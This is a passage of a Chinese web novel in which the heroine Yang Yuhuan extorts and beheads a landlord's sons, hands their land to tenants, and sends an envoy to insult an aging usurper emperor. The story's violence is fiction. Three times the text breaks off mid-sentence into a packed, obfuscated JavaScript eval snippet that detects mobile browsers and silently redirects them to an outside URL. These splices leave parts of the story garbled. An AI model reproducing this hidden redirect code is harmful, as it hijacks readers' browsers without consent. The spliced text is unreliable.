刘母被推得一个趔趄,又扑回来护住女儿,哭道:“她也是被害的!她也不想的!你怪她做什么!” “我不想怪她!”刘父原地转了两圈,心里发慌,“可这孽障留得住吗?啊?小丫该怎么办?村里人看见了怎么想?” “你又不是不知道,那些唾沫星子能淹死我们全家,以后你儿子怎么说亲?我这老脸往哪搁?!这家里还能有活路吗?” “丫,你怎么还要回来呢?丫,你不该回来啊!”刘父上前一步,捏住刘小丫的肩膀,红着眼睛,摇晃着她身体,边摇边说,顾不得女儿纤细的身体摇摇欲坠。 一通话说完,他心里就发了狠,开始在地上搜寻,先是看见刚才掉落的柴刀,一个箭步冲过去捡起来,又觉得不妥,立刻扔掉柴刀,从墙角抱起一块拳头大的石头,转身就朝女儿冲去。 “丫,你听爹的,不能留!这东西绝对不能留!” “砸了它!砸干净!你就好了,丫!” “你疯了!”刘母死命拦住他,哭喊着,“你这是要她的命啊!砸下去,小丫还能活吗!” “留着就能活了?带着这么个东西,她在这村里活得下去?我们全家活得下去?还不如,还不如……” “你不许砸她,我绝不许你砸她!”刘母哭喊着,挡在刘父面前,她枯黄干瘦的身躯站在女儿面前,“你砸了她,不如让我也去死!” “你走开啊!你拦什么!” “我不走!我不走,小丫是我身上掉下来的肉啊!” 刘父举着石头,看着眼前的妻女,手臂颤抖着,终究没砸下去,只是绝望地重复:“活不下去的,都活不下去的……” 就在这时,那扇破旧的木门,又一次被推开了。 光线涌进来,映出门口站着的人。 刘父举着石头的手僵在半空,刘母的哭声戛然而止,刘小丫抬起泪眼,看见去而复返的杨玉环静静地立在门口,达奚瑜站在她身侧。 杨玉环的视线扫过刘父手中的石头,落在他惊恐的脸上,开口:“你要杀了她?” 刘父手里的石头“咚”地掉在地上。他腿一软,再次跪倒,这次是面向门口,哭得撕心裂肺:“贵人!大人!小丫是我女儿,小的怎么舍得杀自己的亲骨肉啊!” “小的是没办法,真的没办法啊!她带着这个,在这里,真的活不成啊!唾沫星子……村里族老……她以后可怎么活啊……”刘父失魂落魄的说着,像冬天被霜打了的白菜。 “那我带走她,”她看向刘父,“你可愿意?” 刘父的哭声噎在喉咙里,他愣愣地抬起头,脸上还挂着鼻涕眼泪,似乎没反应过来,足足过了好几息,他才连声道:“愿意,愿意!谢贵人恩典!谢贵人大恩大德!求您带走她吧,我们就当她没回来过!” 杨玉环不再看他,转向刘小丫。 “刘小丫,”她叫她的名字,“你愿意跟我走吗?” 刘小丫呆呆地看着她,又看向跪在地上不敢抬头的父亲,再看向重新抱着自己哭泣的母亲,她张了张嘴,没能发出声音,她不知道要不要离开这个家。 刘母搂着女儿,哭了许久,终于抬起满是泪痕的脸,对着杨玉环,哽咽着,拼命点点头:“大人,小丫她愿意的!您带她走吧,求您给她一条活路,求您了……” 杨玉环颔首。 达奚瑜走上前,揽住刘小丫瘦削发抖的肩膀,带着她一步步走出这个家,她的父母在身后看着她的背影,没有一声阻拦。 等再次离开刘家庄时,刘小丫骑在马上,抱着马脖子,脸埋在马鬃里,肩膀一耸一耸,呜咽声断断续续。 直到走出村口不远,后面才传来呼喊。 “小丫!小丫!” “小丫!小丫啊……” 刘母跌跌撞撞地追了上来,手里攥着一个粗布小包袱,她头发凌乱,面上泪痕未消,跑到马边,踮起脚,把包袱塞进女儿怀里,又哆嗦着从怀里摸出两枚铜钱,硬塞到女儿手中。 她紧紧抓着女儿的手,反反复复只说一句话:“以后你只能自己活下去了,小丫,娘没用,我的丫啊,你受苦了,娘对不起你……” 刘小丫握着那两枚带着母亲体温的铜钱,终于“哇”地一声大哭出来,用力点着头:“娘……娘……” 达奚瑜在一旁静静看着,目光扫过刘母,看了看杨玉环,迟疑片刻,终是不忍,轻声问:“大娘,你要不要跟我们一同走?” 刘母的哭声停了一瞬,她抬头,先是看了看女儿,再看了看女儿的肚子,然后看了看杨玉环一行人,最后回头望了望村庄的方向,那里有她破败的家。 她脸上闪过挣扎,嘴唇翕动了很久,抓着女儿的手松松紧紧,最终,她松开了女儿的手,后退两步,摇了摇头,声音低得几乎听不见:“不,不了,我得回去,家里还有我儿子,我还得干活,我……” 这样说完,她转身,踉踉跄跄地往回走,再也没有回头,也没再看小丫,刘小丫看着母亲远去的背影,泪未止住,泪眼朦胧间,母亲的背影渐渐不见了。 刘母一脚深一脚浅得往回走,她肚子里没东西,又大哭了一场,头昏的厉害,脑子里很乱,她不够聪明,她说不出自己怎么了,她只是全身上下都痛的厉害,比当初生小丫还痛。 她一边想着女儿的肚子,一边又想着家里的一切,嘴里念念叨叨的,像是说给自己听,又像是说给老天爷听,她说着:“小丫跟了大官人,小丫有活路了……” 她又说:“小丫肯定能活下来,小丫还小……” 她最后说:“我老了,不中用了,不能拖累小丫,万一大官人不欢喜,小丫就活不了……” 她走得又急,又快,生怕那些大人后悔,再把小丫撇下,她不敢回头看,她很后悔没多给小丫一点东西,可没法子了,她没别的东西,这个家里所有东西都不是她的,她什么都给不了小丫,包裹里也只能卷一些破布,塞两件小丫的旧衣,真没法子了,没法子了了,只求大官人心善,让小丫吃饱穿暖。 小丫生孩子怎么办?她不知道,小丫有没有一碗红糖水喝?她也不知道。小丫啊,娘没办法给你熬糖水了。 那两文钱,还是她偷来的,回去后肯定会挨打。 小丫,以后只能靠你自己了,小丫,娘没办法。 刘母就这样走回了村庄。 而她的女儿,刘小丫离开了这个村庄。 这条土路上,留下了这对母女许许多多的眼泪,从此天涯之隔,再也不能相见了。 杨玉环走在队伍的前面,不知怎么的,她想到了刘母,想到了妈妈这个词,就想到了郝美丽,郝美丽的手她是紧握过的,郝美丽的怀抱她也是牢牢依靠过的,郝美丽是一位勇敢有力能给她带来安全感的妈妈。 杨玉环回头看了看刘小丫,王老爷是死了,可王老爷的儿子还活着呢,她暗了暗神色。 回到兴始县王宅,天色已近黄昏。 杨玉环让人将王老爷的五个儿子押了上来,几人被反绑双手,衣衫凌乱,脸上带着惊惶,却仍强撑着几分倨傲,尤其是为首那个王家嫡长子,即便跪着,背脊也挺得笔直。 杨玉环坐在堂上,看着他们,开门见山:“你们爹得罪了我,所以我要杀了他,他该死,你们是他的儿子,你们也该死。” 一句话吓得五人脸色煞白。 杨玉环不管他们,继续说:“不过你们既然是琅琊王氏的子孙,我给你们个机会,现在,派人回你们族里报信,你们王家子弟得罪了我,琅琊王氏就得给我赔罪。” 五个儿子脸上血色尽失,不敢开口。 杨玉环的目光掠过他们,继续道:“你们有五个人,让你们王家,出五万两银子,银子到了,饶你们一命,如果不出……” 她没说完,但所有人都明白未尽之意。 那王家嫡长子脱口而出:“不知家父究竟如何开罪了贵人,竟招致如此……” “唰!” 他话未说完,立于杨玉环身侧的薛荣拔刀,厉声喝道:“有你问话的份?” 杀意扑面而来,王家嫡长子剩下的话全堵在喉咙里,额角渗出冷汗,死死闭上了嘴,他怕薛荣一个不好就砍了他。 一旁跪着的王家嫡次子见状,以头触地,急声道:“贵人息怒!家兄莽撞,绝非有意顶撞!原是我等不知家父竟冲撞了贵人,是家父死有余辜,死有余辜!我王氏家中也略有薄财,若能赎罪,但凭贵人吩咐……” 杨玉环闻言,轻轻笑了一下。 “我杀了你爹。” “你们王家的财产,现在是我的。” “你打算,拿我的钱,来赎你们几个的命?” 嫡次子浑身剧震,脸上的恭顺化为一片茫然,他张着嘴,彻底愣住了,另外几个儿子也呆住了,愣愣地看着堂上的女子,不知该说什么。 什么叫杀了我爹我家的财产都是你的了? 什么叫我们要花银子再买一次我们的命? 他们几个不是没见过强盗土匪贪官,但杨玉环这种说辞还真是第一次听见,王家嫡长子神色扭曲,似乎想争辩什么,又硬生生忍住。 嫡次子蠕动着嘴唇,最终苍白着脸,挤出一句:“娘娘,五万两并非小数目,一时恐怕难以筹措,能否请贵人宽宥时日,或酌减些许?我们可写信给姻亲故旧,或许能凑齐……” 他说得艰难,姿态已近乎乞怜,他们是琅琊王氏的远支,他害怕就算信送到了族里,族里也不会送银子来,他想着娘舅家也是高门大族,或许可以一起求救。 杨玉环看着他们,脸上那点笑意慢慢敛去,道:“拿不出钱,我就亲自去你们琅琊王氏的祖宅去要,五千人过去,他们应该会很欢喜吧。” 她目光扫过堂下五张惨白如纸的脸,他们怕了。 昨天不怕,今天怕了,真是奇妙。 “听明白了吗?” “少爷们。” * 兴始县距琅琊,快马加鞭,也有几日路程。 那封沾染着兴始县墨迹的信,被王氏仆役用上好的锦缎妥帖包了,一层层递进琅琊祖宅的深院,穿过影壁、回廊、花厅,最后呈到族长王崇基手中时。 王崇基正在书房赏玩新得的一幅前朝古画,他年逾六旬,须发花白,面容清癯,穿着家常的沉香色直裰,手指缓缓抚过细腻的绢本,听见动静,眼皮也未抬。 “族长,兴始县急信。”老管家躬身,将信双手奉上。 “兴始?”王崇基这才略略侧首,接过,不急着拆,先问,“哪一房的?” “回族长,是七房守业公那一支的,出五服的庶脉,叫王仁厚,在兴始县有些田产。”管家对族中枝叶了如指掌,答得飞快。 “哦。”王崇基淡淡应了一声,似是想起有这么个不起眼的远亲,他这才拆开锦缎,取出信纸,展开。 书房里静悄悄的,只有窗外竹叶被风吹动的沙沙声。王崇基读得很慢,脸上看不出什么表情,读罢,他将信纸轻轻合拢,放在一旁紫檀木书案上,端起早已温凉的雨前龙井,抿了一口。 “人都来了?”他问,声音很平稳。 “几位族老已在偏厅等候。” 偏厅内,四位须发皆白的老者分坐左右,见王崇基进来,略一颔首,下人悄无声息地退下,掩好门。 王崇基在上首坐了,将信递给右手边首位的老者。 “都看看吧。” 信在四人手中传阅一圈,厅内气氛渐沉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,又补充道:“再私下嘱咐信使,留心观察,那仙子麾下兵马几何,士气如何,粮草可足,小心说话,莫惹嫌疑。” “是。”几位族老齐声应下,并无异议。 十万两银子与可能的灭族之祸相比,孰轻孰重,他们掂量得清,能用钱解决,甚至借此攀上点关系,在乱世中未必是坏事。 事情便这样定了。 王氏的效率极高,不过三日,十万两雪花银并两箱珠宝绸缎,由五十名精干护院押送,浩浩荡荡出了琅琊,直奔兴始县。 又几日后,十万两银子堆在了兴始县王府那间,曾经富丽堂皇如今却弥漫着淡淡血腥气的大堂中央,银锭雪白的光芒,映着跪在地上五个儿子惨白绝望的脸。 他们已被囚禁多日,形容憔悴,早已没了当初的气焰,王家嫡长子看着那堆本该属于自己家族的巨财,如今成了买命的筹码,心头滋味复杂难言。 “娘娘,”他伏在地上,“银子,十万两银子,族中已如数奉上,另有薄礼敬献。求娘娘开恩,放我等一条生路……” 杨玉环坐在上首,薛荣按刀立于侧,达奚瑜静立一旁,她的目光扫过那堆银子,落在脚下几个磕头如捣蒜的人身上,眉头微微蹙起,像在思索一个难题。 “银子是送来了,”她开口,声音里听不出喜怒,“你们的命,算是被买下来了。” 几人闻言,心头一松,几乎要瘫软下去。 杨玉环的话锋紧接着一转:“可你们之前骂我的那些话,那些妖孽、悖逆、丧尽天良、不得好死……这笔账,怎么算?” 王家五个儿子抬头,脸上血色尽褪。 “娘娘,您不能!”王家嫡次子失声叫道,语无伦次,“银子已经给了,您答应了我们……您不能……” “言而无信?”杨玉环替他说完,“我便言而无信,你能奈我何?” 最后四字,轻飘飘落下,却重如千钧。 “不!” 薛荣却早已等得不耐,刀光乍起。 不过几个呼吸,五颗头颅滚落在地砖上,瞪大的眼睛里凝固着最后的恐惧不甘,鲜血汩汩涌出,迅速漫过光洁的金砖,与那堆雪白的银锭形成了触目惊心的对比。 杨玉环站起身,避开蔓延的血泊,走到堂外,午后的阳光有些刺眼,她眯了眯眼,对薛荣吩咐:“去把他们的脑袋,挂回他们王府大门上去,找块醒目的牌子,写上字。” “就写——” “是!”薛荣听完,凛然应命,眼中闪过一丝快意。 当日下午,兴始县百姓就惊骇地看见,昔日高高在上的王宅朱漆大门上,齐刷刷悬挂着六颗人头,正是王老爷与他的五个儿子! 旁边一块新刨的木牌上,有墨迹淋漓的字句,上书:“王仁厚,口出秽言,污示上仙,今诛其满门男丁,以正视听。 其家资田产,尽归上仙所有,田亩暂由县中百姓佃种,待仙女日后亲临取用,敢有私占侵夺仙产者,犹如此头。” * 紧接着,五千士卒按照安排,将王家土地分出去,可没想到,分地的时候却遇到了难题。 “军爷,这地是王老爷的,小的们只是佃种,实在不敢……”一个老农颤抖着拒绝。 薛荣骑在马上,扫了一眼跪了一地不敢接受的百姓,道:“王仁厚触怒上仙,满门已诛,这地连同这地上的一切,如今都姓仙!仙女说给你们种,你们就种!” 人群一阵压抑的骚动,王老爷,那么大的一个老爷,说没就没了?王老爷全家男丁都死光了? “军爷,”另一个稍微年轻点的佃农大着胆子,哭丧着脸,“小的们不是不愿,实在是,这地契这租子如何交,交多少,都是王老爷定的章程,如今地是仙女的,仙女让我们怎么种?我们该怎么交租?” 薛荣身旁一个满脸胡茬的队正不耐烦了,呛啷一声半拔出腰刀,他粗声喝道:“哪来那么多废话!听清楚了,这地,是仙女娘娘的地!收成,是仙女娘娘的收成!让你们种,是娘娘的恩典!暂存在你们手里,听明白了没有?” “暂存?”老农懵了。 “对!暂存!” “娘娘什么时候想收了,自会派人来!在这之前,地里的庄稼要是少了一株,仓里的粮食要是霉了一粒,或者有哪个不长眼的,敢把这地当成自己的,偷偷卖了、租了、荒了,有谁敢来抢仙女娘娘的粮食……” 刀身完全出鞘,寒光凛冽,他恶狠狠地道:“老子就按侵夺仙产论处!看到挂的那几颗人头没有?那就是下场!” “种好地,记好账,等娘娘来取,懂了吗?” “懂,懂了……”老农带头,噗通跪了下去,身后黑压压的人群如同被风吹倒的麦子,齐刷刷跪了一片,他们的额头紧贴着土坷垃,沉重,泥泞。 不过,他们有地种了。 这个消息像风一样刮过兴始县的每一个田垄,每一座村落。 “王老爷没了!我们可以种王老爷的地了!” “地归仙女娘娘了!” “让咱们先种着,娘娘以后来收!” “可不敢乱来!那是仙产!要掉脑袋的!” 不过几日工夫,所有百姓都知道了,这些地是仙女娘娘的,除了仙女娘娘谁也不能拿,若不服,就去找仙女理论! 仙女娘娘这四个字,彻底取代了王老爷。 杨玉环一行人离开兴始县那日,天气阴沉,队伍沉默地行进在官道上,车轮碾过碎石,从王家缴获的十万两银子与财宝装在几辆大车上。 达奚瑜策马跟在杨玉环身侧,沉默了很久,终于忍不住,轻声问道:“娘娘,您是一开始,就打算要他们的命吗?” 杨玉环目视前方蜿蜒的土路,风拂起她颊边一缕碎发,让达奚瑜觉得,很不一般。 “你又知道了?”她反问。 达奚瑜抿了抿唇,低声道:“只是觉得,娘娘似乎,和以前有些不同了。” 更果决,更冷酷,更…… 后面的话,她没有说出口。 杨玉环转过头,看了达奚瑜一眼,说了一句:“以后你会明白的。” 达奚瑜咀嚼着这句话,又行了一段,眼看岔路在即,达奚瑜再次开口:“娘娘,我们接下来往何处去?” 杨玉环笑了,带着几分明朗恣意,她扬鞭,指向东北方向,那是琅琊所在。 “去哪?” “我这五千张嘴要吃饭,五千副甲胄要修补,往后还有更多人要来,十万两银子,怎么够?” “咱们啊,”她笑着,“去找琅琊王氏。” “吃大户!” 26.第 26 章 郝美丽拿着林香凝的剧本,仔细观看。 林香凝紧张的坐着,调整着呼吸,不错眼的盯着郝美丽,终于,郝美丽看完了,她对上郝美丽的眼睛。 “香凝,剧本很好,只是——” “只是——?” “要让她更爽一些!” “什么?” “女频,就要让女子爽到底,不仅要杀了皇帝,还要杀了所有反对者,更要狠狠打那些男人的脸!” * 长安,大明宫。 长安的皇城,在赵王李璘那场仓促又滑稽的登基大典后,似乎重新被丝竹声填满了。 紫宸殿内,龙椅崭新,赵王李璘——如今该称陛下了,穿着明黄龙袍,斜倚在宽大的椅背上,脸上的志得意满几乎要溢出来。 下首,因拥立之功一跃成为宰相的崔中丞,道:“陛下,陈希烈今日又告病了。” 李璘脸上的得意之色褪去一些,不满道:“这个老匹夫!自朕登基以来,他告病几次了?这般不识抬举,倚老卖老,真当朕不敢动他?” “陛下息怒。”崔相忙躬身,“此刻非但不能动他,还得厚赏,陈希烈门生故吏遍及朝野,在世家旧臣中威望颇高,陛下新登大宝,正当示天下以宽仁,拉拢老臣,稳固人心,若因他抱病便加责难,反显得陛下气量不足……” 李璘胸膛起伏几下,重重哼了一声,却也明白崔相说得在理。他憋了半晌,才恨恨道:“那就赏!赏他宫中最好的太医,去给他好好看病!让他尽快痊愈,回来给朕办事!” “陛下圣明。”崔相垂首,掩去眼中一丝讥诮。 李璘发泄了怒火,又想起一事,眉头皱起:“对了,沂州那边传来消息,那个杨玉环,杀了琅琊王氏一个远房子弟,还勒索了十万两银子。她这是什么意思?故意挑衅世家?还是给朝廷难堪?” 崔相捻须,缓缓道:“陛下,依臣愚见,她什么意思并不重要。重要的是,她与世家闹得越僵,斗得越狠,对陛下而言,岂非越是好事?” 李璘先是一愣,随即眼睛亮了起来,拍掌道:“对啊!朕怎么没想到!他们斗起来,朕正好从中斡旋,拉拢世家!那些世家对朕这皇位未必心服,如今有杨玉环这个妖妃在外面喊打喊杀,他们为了自保,还不都得靠向朕?” “陛下明鉴。”崔相微笑,“此乃天赐良机。陛下正可借此,厚赏世家,结以姻亲,届时,陛下坐拥世家支持,那杨玉环纵有通天之术,也不过是流窜一方的草寇罢了。” “好!好计策!”李璘兴奋得从龙椅上微微前倾,“就依崔相所言!下旨,厚赏此次蒙难的琅琊王氏,再给几家素有威望的世家加恩!还有,朕听闻各家多有淑女待字闺中?” 崔相心领神会:“陛下若能迎娶世家淑女为妃,既是陛下恩典,亦是君臣佳话,更能使陛下与世家,亲上加亲。” “正是此理!”李璘抚掌大笑,“那便着礼部拟旨,朕要选其贤淑者,纳入宫中为妃!” 一道旨意,从长安飞向各大世家府邸。 “李璘?一个趁乱自立的王爷,这皇位能不能坐稳还未可知。”荥阳郑氏的家主放下茶盏,语气淡漠,“我郑氏嫡女,岂是这般轻易许人的?” “正是,”太原王氏的族老点头,“且看他这阵仗,一口气要纳数家之女,无非是广撒网,想将我世家都绑上他的战车,心思未免太急,吃相也有些难看了。” “给他一位庶女吧,”河东裴氏的当家人做了决定,“也算是全了君臣颜面,堵住他的嘴。若他日后真能坐稳这江山,再做计较不迟……” 于是,某个清冷的闺阁里。 正默默翻阅书卷的少女,忽然被仆妇唤出,告知了即将入宫参选的消息,她怔怔地听着,脸上无喜无悲,只轻轻合上了手中的书页。 * 这消息几经辗转,也传到了杨玉环军中。 “李璘?李隆基的那个弟弟?”杨玉环刚从马背上下来,闻言一怔,脸上露出明显的错愕,“他不是都快六十了吗?” “据查,五十有七。”达奚瑜站在她身侧,语气平静无波,眼底却有一丝冰冷的嘲讽,“听闻此番要一口气纳娶数位妃嫔,皆是世家女子,年岁不过十三四。” 杨玉环沉默了半晌,她抬头望了望灰蒙蒙的天,又看了看周围肃立的将士,最后轻轻吐出一句:“谁给他的胆子?” 这话问得没头没尾,不知是在问李璘,还是在问那些将女儿送出去的世家,又或是这荒唐的世道本身。 她转向达奚瑜,:“瑜儿,你替我走一趟长安。” * 长安城再次张灯结彩,这次是为了皇帝的大喜,尽管仓促,尽管人心浮动,但皇宫内外还是尽力装点出一派欢腾。 麟德殿内,夜宴正酣。 李璘高居御座,穿着崭新的龙袍,脸上带着志得意满的笑容,接受着群臣一轮又一轮的祝酒。 下首,崔相笑容可掬,周旋应酬,而达奚珣则坐在一旁,沉默地饮着杯中酒,丝竹声声,歌舞曼妙。 李璘听着那些夸大其词的谀辞,飘飘然几乎忘形,这江山,如今是他在享受了!就在他举起金杯,准备接受又一次歌功颂德时。 殿门外,通传声响起。 随即,一个身着劲装的年轻女子,径直踏入了这歌舞升平的大殿。她步伐稳健,目光平静地扫过殿内诸人,最终落在御座之上。 乐工停了手,舞姬僵在原地,群臣愕然望去。 李璘举杯的手停在半空,脸上的笑容一点点凝固,他认出了来人——达奚珣那个跟了杨玉环的孙女。 “达奚瑜?”李璘放下酒杯,声音沉了下来,“未经宣召,擅闯宫禁,该当何罪?莫非你达奚家,已不将朕放在眼里?” 达奚珣握着酒杯的手一紧,垂下了眼。 达奚瑜对隐隐的威胁恍若未闻,她站定,对着御座方向,开口:“李璘,我奉仙女娘娘之命,前来传话。” 李璘脸色铁青:“仙女有何旨意?” 达奚瑜清了清嗓子,抬眼,道: “娘娘让我问你——” “李璘,你个老而不死是为贼的腌臜东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拦路者,是一位容貌秀丽的年轻女子,正是达奚家的四姐,已嫁入博陵崔氏的达奚四娘。 “十一娘。”四娘眼神复杂地看着她,“此处无人,听姐姐一言。你也看到了,长安仍是长安,皇宫仍是皇宫。那位仙女娘娘已然离京,漂泊无定,前程难测。你何苦还要跟着她?不如就此归家,祖父那里,姐姐去说……” 达奚瑜静静听她说完,摇了摇头,道:“四姐,这里没有十一娘了,从踏出达奚家大门那日起,我便只是达奚瑜。” 她看着四娘瞬间泛红的眼圈,轻轻说了一句:“四姐保重。” 说罢,她不再停留,对身后少女们示意,率先向前走去,马蹄声响起,载着这些本该成为宫廷玩物,如今命运陡转的少女,离开了这座金色的牢笼。 其中一位少女,回头望了一眼皇宫。 长安的梦,是该醒了。 而真正的路,才刚刚开始。 27.第 27 章 长安城最近的谈资,可谓一波未平,一波又起。 李璘被达奚瑜指着鼻子骂得当场厥过去,沦为满城笑柄,这事儿还没凉透,另一桩奇闻传了出来。 李璘的侧妃阙丽,那位跟了他二十多年为他生儿育女,如今也四十有三的妇人,竟然自己收拾了细软,带着贴身婢女,悄无声息地搬出了皇宫! 不是被废,不是被贬。 她自己辞了妃位,不干了! 这消息砸下来,比仙女娘娘派人来骂皇帝还让人瞠目结舌,深宫妇人,四十余岁,韶华已逝,放着唾手可得的宠妃尊位不要,离宫别居? 疯了,还是傻了? 一时间,茶楼酒肆,议论纷纷,说什么的都有。有人说阙妃是得了失心疯,更多人则揣测,这背后怕是藏着什么不足为外人道的宫闱秘辛,或是李璘实在不堪,连相伴二十载的老妻都忍无可忍了。 而故事的女主人,阙丽正在新居中,新居是长安西市附近一处僻静的两进宅院,不大,但胜在清幽,这座院落是她亲自选的,她很喜欢。 此刻,她正挽着袖子,和从小一起长大的婢女阿萝一起擦拭窗棂,归置不多的行李,阳光洒进来,落在她不再年轻的眉眼上,舒展开来,很是闲适。 午后阳光透过新糊的窗纸,在地面上投下暖融融的方格,空气中飘着新木的气息,这气味不算好闻,却真实得让她想落泪。 不过,这种闲适不会有太久。 第一波找上门的人,来得很快。 是阙丽的娘家人,父亲、兄长,还有两个脸色不虞的嫂子,一进门,阙父便是一顿劈头盖脸的斥责。 “丽娘!你真是糊涂油蒙了心!”阙父指着她,气得手抖,“四十多岁的人了,跟了陛下二十余载,如今陛下登基,正是你苦尽甘来光耀门楣的时候!” “你倒好,自己跑出来了?你这叫怎么回事?让外头怎么看我们阙家?陛下雷霆之怒,你担得起吗?阙家担得起吗?” 兄长也在一旁帮腔:“妹妹,快别任性了!赶紧跟我们回去,向陛下请罪!陛下念在多年情分,定会宽宥你一时糊涂。” 阙丽停下手中的抹布,直起腰,看着眼前这些血脉相连的亲人,明明她们的面孔和自己如此相似,却又如何陌生。窗外的阳光被他们堵在门口的身影切碎,投下几道狭长的影子,一直伸到她的脚边。 “我不回去。”她说。 “你!”阙父大怒,“你敢不回去!” “你们再逼我,”阙丽打断他,走到窗边,那里摆着一把修剪花枝的剪刀,她拿起来,掂了掂,锋利的尖刃对着自己脖颈。 “我就死在这儿,让你们看看,一个被逼回皇宫的妃子,是能光耀门楣,还是能让阙家满门陪葬。” 她这种豁出去的态度,吓住了所有人。 阙父脸色一阵青白,终究不敢拿阖族性命去赌女儿会不会真动手,更怕逼死了她,李璘那里更没法交代,最终,只能撂下几句不知好歹、家门不幸的狠话,悻悻而去。 脚步声消失在院门外,带走了那片阴影,阳光重新完整地铺满地面,阙丽这才发觉,自己握着剪刀的手,已被硌出红印。 第二波人,来得更让阙丽心头发涩。 是她亲生的儿子,李璘的第三子,今年刚满十七岁的李铣,少年穿着皇子常服,进门便直挺挺跪下,眼圈发红。 “母亲!”李铣仰头看她,声音带着委屈,“父皇如今已是天子,儿臣是皇子!您与父皇二十余年相伴,情分非比寻常,您怎能……” “怎能说走就走?您让儿臣在宫中如何自处?让父皇颜面何存?求母亲看在儿臣份上,回宫去吧!父皇定会厚待母亲!” 阙丽看着儿子年轻的脸,和他说出口的话,心头那点涩意化开,她弯腰,想扶他起来,李铣却固执地跪着不动。 “铣儿,”阙丽收回手,叹了口气,“你起来,那个位置,你坐不上去,更坐不稳,别做梦了。” 李铣猛地抬头,脸上闪过一丝被戳破心思的羞恼,随即不服道:“母亲何出此言?父皇当年不也……如今不也坐上去了吗?事在人为!” 阙丽看着儿子眼中与李璘如出一辙的野心,忽然觉得无比厌倦。她不再看他,转过身继续擦拭着桌面,声音变得冷淡:“我累了,你回去吧。” “母亲!” “滚出去。” 李铣难以置信地瞪大眼睛,不相信母亲竟然骂自己,可看着母亲决绝的背影,最终狠狠一咬牙,起身拂袖而去。 他要告诉父皇,母亲疯了! 第三波人,意料之外,却又在情理之中。 张韬来了。如同幽影般,被一个小太监引着,悄无声息地出现在内院,廊下还未点灯,昏暗的光线将他影子拉得扭曲。 “阙妃娘娘。”张韬躬身行礼,语气恭谨,“陛下口谕,念娘娘多年侍奉,温婉淑德,特册封为贵妃,赐居长春宫,请娘娘接旨,随奴婢回宫。” 阙丽看着他,忽然笑了笑:“张公公,你觉得,我会回去吗?” 张韬沉默了片刻,脸上依旧没什么表情,只轻轻挥了挥手。身后一个小太监捧上一个托盘,盘中放着一只白玉酒壶和一只酒杯。 张韬缓缓道:“陛下另有口谕,阙氏丽妃,不遵宫规,擅自离宫,忤逆君上,有失妇德,赐鸩酒,以全皇家体面。” 他亲自执壶,将那无色无味的酒液,斟满了白玉杯,双手奉到阙丽面前,“娘娘,请。” 阿萝尖叫一声,想扑上来打翻酒杯,却被张韬身后的小太监紧紧制住,阙丽看着那杯酒,又看看张韬平静的脸,忽然放声大笑。 “果然!果然啊!李璘,你这个贱人!二十年了,你还是只会这一套,哈哈哈哈!可笑极了!” 她笑得眼泪都出来了,边笑边伸手去接那杯酒,她宁愿死,也不会再回到那个老男人身边! “且慢!” 一声清喝从门外传来。 原太子妃张氏,闯了进来。 张韬眼神微动,躬身:“太子妃娘娘。” 张氏看也不看那杯酒,目光落在阙丽身上,确认她无虞,又转向张韬,道:“张公公,本宫奉仙女娘娘之命,以抚民使之职,照看宗室人员,此职至今未撤。阙丽亦在宗室之列,其去留生死,理应由娘娘处置,岂能由他人私相授受,妄动刑罚?” “这杯酒,张公公还是带回去吧。” 张韬定定地看着张氏,殿内一时间静得可怕,只有远处隐约传来的市井喧哗。不知道张韬在心里想什么,但几息后,他挥了挥手,那小太监默默收回了酒杯。 “太子妃娘娘既有此意,奴婢自当遵从,”张韬躬身,“奴婢这就回宫,禀明陛下。” 说罢,他不再多言,退了出去。 阙丽看着张韬消失的背影,才看向挡在她身前的张氏,腿一软,几乎站立不住,阿萝赶忙扶住她。 张氏转身,看向阙丽,眼中闪过一丝复杂的感慨,轻声道:“没事了,以后,你好自为之……” 阙丽嘴唇颤抖,想说什么,最终只是重重地点了点头,泪水夺眶而出,二十多年了,今天终于尝到了一点自由的滋味。 是她自己争来的。 她的命,不算苦。 等张韬回宫,将事情原委,一五一十禀报给了李璘。李璘本就在病中,闻听此言,更是气得七窍生烟,抓起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911066|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枕边的药碗就砸在地上,药汁四溅。 “反了!都反了!张氏那个贱人!她算个什么东西!朕还没死呢,她就敢拿那个妖妃压朕?还有阙丽,不识抬举的贱妇!朕要诛她九族!诛她九族!” 崔相在一旁听得心惊胆战,连忙上前劝慰:“陛下息怒!陛下保重龙体啊!此事不宜闹大,仙女娘娘虽已离京,余威犹在,张氏毕竟顶着其旧职名头,若强行处置,恐惹非议,动摇人心啊!” “那你说怎么办?难道就任由她们这般打朕的脸?”李璘胸口剧烈起伏。 崔相眼珠急转,压低声音道:“陛下,为今之计,不如顺势而为。阙妃既然心意已决,陛下可下旨,言阙氏多年来侍奉有功,自请离宫带发修行,如此,既全了陛下仁德之名,也给了她一个台阶,更堵了悠悠众口。” “至于张氏,她一个前朝太子妃,如今空有虚职,翻不起大浪,且容她些时日,日后徐徐图之便是……” 李璘喘着粗气,瞪着崔相,虽心有不甘,却也知这是眼下最能顾全体面的法子。他闭上眼睛,无力地挥挥手:“拟旨,就按你说的办吧。” 这道恩旨,很快送到了那座两进小宅。 